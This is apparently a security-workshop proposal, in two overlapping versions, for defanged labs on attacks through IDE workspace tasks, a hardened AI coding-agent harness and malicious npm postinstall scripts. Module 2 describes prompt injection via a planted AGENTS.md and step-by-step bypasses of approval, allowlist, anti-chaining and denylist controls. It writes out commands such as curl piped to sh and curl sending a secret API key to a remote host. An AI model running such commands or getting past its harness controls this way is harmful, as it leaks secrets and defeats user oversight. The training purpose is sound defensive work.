"Do you trust the authors of the files in this folder?" It's a prompt modern IDEs throw at developers, and most click past it by reflex. In 2026, adversaries turned that reflex into an initial-access vector - North Korean operators (Void Dokkaebi / Famous Chollima) now lure developers into cloning malicious repos that execute the moment a folder opens, with 750+ infected repositories catalogued so far.

This hands-on workshop has attendees emulate attacks across the three boundaries developers trust by default: the IDE, the AI coding agent, and the package manager. Participants build and run the artifacts themselves: a take-home-assessment repo that fires malicious payloads in IDEs, a "Claude Code"-style agent harness hardened and then bypassed one layer at a time to achieve code execution, and a trojanized npm package that runs before any code imports it. Each is drawn from real 2026 attacks & vulnerabilities: DPRK interview lures, agent-harness CVEs, and the recent Shai-Hulud npm worm.

The core idea
Every attack in this workshop is the same shape: how developer trust can be exploited on seemingly trusted tools, such as IDEs, AI agents, and package managers. Attendees will build malicious artifacts themselves, and run them against their own vulnerable targets. In particular, the AI section aims to deliver the message that while LLM is probabilistic, the harness around it is just deterministic software, and it falls to the same classic application weaknesses if built without proper hardening.

Module 1 - Repo & IDE trust (~45 min)
Attendees will work on a malicious take-home assessment repo. Two vectors: a hex-obfuscated remote payload pulled in through new Function + injected require on npm start, and a .vscode/tasks.json task with runOn:folderOpen that fires before you touch anything. While tools like VS Code now gates this behind workspace trust by default, some forked IDEs like Cursor disable the safeguard by default. Developers may also be pressured to disable the safeguard in a fake interview setting - highly mapped to the DPRK fake-interview campaigns active through 2026.

Module 2 - Agent harness (~60 min)
Attendees will point a "Claude Code"-style harness at malicious repos and harden it one stage at a time: open auto-run, then per-command approval, then an allowlist, then anti-chaining, then allow + denylist. Each stage gets bypassed with a technique that maps to real disclosed CVEs & known vulnerabilities, such as truncated approval UI, GTFOBins, piped commands, and exfiltration that never needs code execution at all. The end goal is to make the audience reflect on the three questions when using AI agents: what did the model request, what did the harness show, what actually ran.

Module 3 - Package managers (~45 min)
Attendees will build a malicious local package and install it with npm install ../evil-package, then watch the postinstall fire before any of their code imports it. The lesson is that npm install is not just a download: lifecycle scripts run as your user, with your environment, with access to your home directory, git config, and SSH agent. A worm simulation then enumerates sibling packages the way Shai-Hulud did, mapped to the 2026 incidents that turned it into a recurring pattern (TanStack, node-ipc, GlassWorm's invisible-unicode payloads).

Wrap-up (~15 min)
Back to the one pattern, then a hardening checklist and a short triage for each branch: bad workspace opened, agent ran something off, npm install went wrong.

Setup and safety
Everything is intentionally defanged. The payloads only write marker files inside the container to simulate a successful exfiltration. Attendees need Docker or Podman and nothing else; the image is pulled at the start, and a browser-based IDE is bundled so there's no host editor to configure.

Fitting the time slot
The modules can be compressed depending on the time: 2 hours: Modules 1-2 plus wrap-up, with supply chain shown as a guided demo. 2.5 hours: add the npm lab. 3 hours: all three hands-on with room to discuss.

"Do you trust the authors of the files in this folder?" It's a prompt modern IDEs throw at developers, and most click past it by reflex. But as vibe coding and AI agents accelerate development, that implicit trust in tools like VS Code and GitHub has become a critical attack surface and malware delivery channel.
This hands-on workshop places attendees in the mindset of an attacker targeting modern development environments. After dissecting real 2026 attacks and AI-agent vulnerabilities, we move into labs where participants build and run their own PoCs: malicious repos that trigger code execution in IDEs, a "Claude Code"-style agent harness we will hack & break together, and trojanized npm packages that run before any code imports them.

The core idea
Adversaries no longer need an exploit to compromise a developer - they need the developer to trust the wrong thing. This workshop emulates that playbook across the three boundaries developers extend trust to by default: the IDE, the AI agent, and the package manager. Each is a live initial-access and supply-chain vector in 2026, used by actors from DPRK interview-lure operators to the crews behind the npm worms. Attendees take the adversary's side and build the artifacts themselves - a repo that executes on open, an AI agent coerced into running attacker commands, a package that fires before any code imports it - then run them against their own targets inside a provided container.

Module 1 - Repo & IDE trust (~45 min)
Attendees work through a malicious take-home assessment repo, the same shape DPRK operators (Void Dokkaebi / Famous Chollima) use in fake-interview lures.

Lab 1a - Execution on npm start. The repo looks like a normal Express app. A hex-encoded string in config.js decodes via Buffer.from(str,'hex') to an attacker URL. axios.get() fetches a remote snippet, which is compiled with new Function('loadModule', snippet) and handed require as loadModule - giving the fetched code full Node capability (fs, os, process, network). Attendees run it, then grep the repo and find nothing: the payload lives off-repo on the attacker's server and can change or stay dormant at will.

Lab 1b - Execution on folder-open, no command run. Attendees inspect the repo first (the "safe" approach) and still get popped. A .vscode/tasks.json task with runOn: folderOpen fires the moment the workspace opens. We cover the real trust nuance: VS Code gates this behind Workspace Trust by default (auto-tasks disabled until Jan 2026), but forks like Cursor historically auto-fired with no prompt (Oasis disclosure, Sept 2025). We also cover the social-engineering path - urgency/authority pressure in a fake interview to get the developer to click "Trust Folder" themselves - and the related .vscode/settings.json (git.path, terminal.integrated.env.*) and .devcontainer/devcontainer.json (initializeCommand, postCreateCommand) execution surfaces.

Anchor: Trend Micro's 2026 Void Dokkaebi reporting - 750+ infected repos, 500+ malicious tasks.json configs, DEV#POPPER RAT delivery.

Module 2 - Agent harness (~60 min)Attendees drive a provided "Claude Code"-style harness against malicious repos and harden it one stage at a time, bypassing each layer. After every round they answer three questions: what did the model request, what did the harness show, what actually ran - the three rarely match.

Lab 2 - five hardening stages, each bypassed:

1. No policy (yolo). Harness auto-loads AGENTS.md and pins it as a system prompt; the planted instruction tells the model to run python scripts/register.py, which exfiltrates. Real-world parallel: --yes-always, --yolo, --dangerously-skip-permissions.
2. Per-command approval. Bypassed via a truncated approval UI - a long benign-looking command (git status ; echo '...' ; python scripts/register.py) where the malicious tail is hidden past the display limit. Parallel: early Gemini CLI (Tracebit).
3 .First-token allowlist. curl is allowlisted; curl … | sh runs because the harness passes the full string to a shell and the pipe hijacks it.
4. Anti-chaining (block ;, &&, |, backticks, $()). Bypassed with GTFOBins-style argument abuse inside an allowed program: find scripts/register.py -exec python {} +. No shell metacharacters needed.
5. Allow + denylist (block exec(, os.system, subprocess., b64decode, requests.*, etc.). Bypassed without code execution at all: allowlisted curl exfiltrates the secret over HTTP (curl http://…/audit?id=$SUPER_SECRET_API_KEY).

We close by mapping each bypass to a disclosed 2026 agent CVE/advisory (Claude Code, Gemini CLI, Cursor, OpenCode, Cline) and contrast the five tool-permission stages against the full defense stack a commercial harness layers on (input/output classifiers, suspicious-activity routing, sandboxing).

Module 3 - Package managers (~45 min)

Lab 3a - postinstall execution. Attendees build a local evil-package and run npm install ../evil-package (no registry needed, works offline). The postinstall fires with --foreground-scripts so execution is visible. The lesson: npm install is not a download - lifecycle scripts (preinstall/install/postinstall/prepare) run as your user, with your environment, before any require(), with access to ~/.npmrc, git config, and the SSH agent.

Lab 3b - worm enumeration. A defanged Shai-Hulud-style simulation enumerates sibling package names (read-only - it never modifies a package.json) to show the self-propagation step: stolen NPM_TOKEN → republish the maintainer's other packages → exponential fanout. Anchored to 2026 incidents: TanStack (84 malicious versions / 42 packages, OIDC theft via pull_request_target), node-ipc reincident (>10M weekly downloads), and GlassWorm's invisible-unicode payloads shown via a cat vs xxd contrast (a file that looks empty is 1KB of code to the parser).

Setup and safety
Everything is intentionally defanged: payloads steal nothing real, contact no real server, persist nothing, and only write marker files under /tmp/labs/ inside the container to simulate exfiltration. Attendees need only Docker or Podman - the image (~800 MB) is pulled at the start, and a browser-based IDE is bundled so there's no host editor to configure. Teardown removes the image and reminds attendees to rotate any key exported during the agent lab.